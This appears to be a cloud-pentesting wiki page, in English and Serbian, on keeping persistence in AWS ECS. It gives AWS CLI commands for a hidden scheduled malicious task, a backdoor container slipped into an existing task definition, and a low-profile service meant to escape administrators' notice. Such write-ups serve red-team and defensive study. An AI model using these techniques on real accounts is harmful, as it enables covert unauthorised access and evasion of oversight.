AWS - ECS Persistence

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ECS

For more information check:

AWS - ECS Enum

Hidden Periodic ECS Task

TODO: Test

Napadač može kreirati skrivenu periodičnu ECS zadatak koristeći Amazon EventBridge da zakazuje izvršenje zlonamernog zadatka periodično. Ovaj zadatak može obavljati izviđanje, exfiltrirati podatke ili održavati postojanost u AWS nalogu.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

Backdoor kontejner u postojećoj ECS definiciji zadatka

TODO: Test

Napadač može dodati neprimetan backdoor kontejner u postojećoj ECS definiciji zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za postojanost i izvođenje zlonamernih aktivnosti.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

Nedokumentovana ECS Usluga

TODO: Test

Napadač može kreirati nedokumentovanu ECS uslugu koja pokreće zlonameran zadatak. Postavljanjem željenog broja zadataka na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zlonamernu uslugu.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

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